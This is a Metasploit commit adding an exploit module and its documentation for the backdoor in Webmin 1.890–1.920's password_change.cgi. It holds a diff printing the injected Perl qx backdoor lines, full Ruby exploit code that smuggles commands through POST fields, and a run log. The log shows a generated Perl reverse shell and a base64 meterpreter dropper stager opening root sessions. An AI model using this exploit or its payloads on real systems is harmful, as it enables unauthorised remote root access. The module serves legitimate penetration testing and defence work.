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Land #12219, Add Webmin password_change.cgi backdoor exploit
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@jrobles-r7 @msjenkins-r7
jrobles-r7 authored and msjenkins-r7 committed Aug 23, 2019
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123 changes: 123 additions & 0 deletions documentation/modules/exploit/unix/webapp/webmin_backdoor.md
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## Intro

This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.

Unknown attacker(s) inserted Perl `qx` statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.

Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.

## Analysis

The backdoored code can compared across space and time with `diff3(1)`.

```
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c
wvu@kharak:~/Downloads$
```

## Setup

1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz`
2. `tar xf webmin-1.890.tar.gz`
3. `cd webmin-1.890`
4. `./setup.sh`

## Targets

```
Id Name
-- ----
0 Automatic (Unix In-Memory)
1 Automatic (Linux Dropper)
```

## Options

**RPORT**

Set this to the Webmin port. The default is 10000.

**TARGETURI**

Set this to the Webmin base path. The default is `/`.

**ForceExploit**

Set this to `true` to override the `check` result during exploitation.

## Usage

```
msf5 exploit(unix/webapp/webmin_backdoor) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Webmin 1.890 detected
[+] Webmin 1.890 is a supported target
[+] Webmin executed a benign check command
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
^Z
Background session 1? [y/N] y
msf5 exploit(unix/webapp/webmin_backdoor) > set target 1
target => 1
msf5 exploit(unix/webapp/webmin_backdoor) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Webmin 1.890 detected
[+] Webmin 1.890 is a supported target
[+] Webmin executed a benign check command
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.28.128.5
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500
[*] Command Stager progress - 100.00% done (819/819 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 16.04 (Linux 4.4.0-141-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
222 changes: 222 additions & 0 deletions modules/exploits/unix/webapp/webmin_backdoor.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Gem::Version.new('1.890'), Gem::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
vprint_error('Server did not respond')
return CheckCode::Unknown
end

version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown
end

version = Gem::Version.new(version)

vprint_status("Webmin #{version} detected")
checkcode = CheckCode::Detected

unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe
end

vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears

res = execute_command("echo #{token}")

unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end

if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe
end

if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe
end

checkcode
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c
wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => {'Referer' => full_uri},
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end

def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end

end

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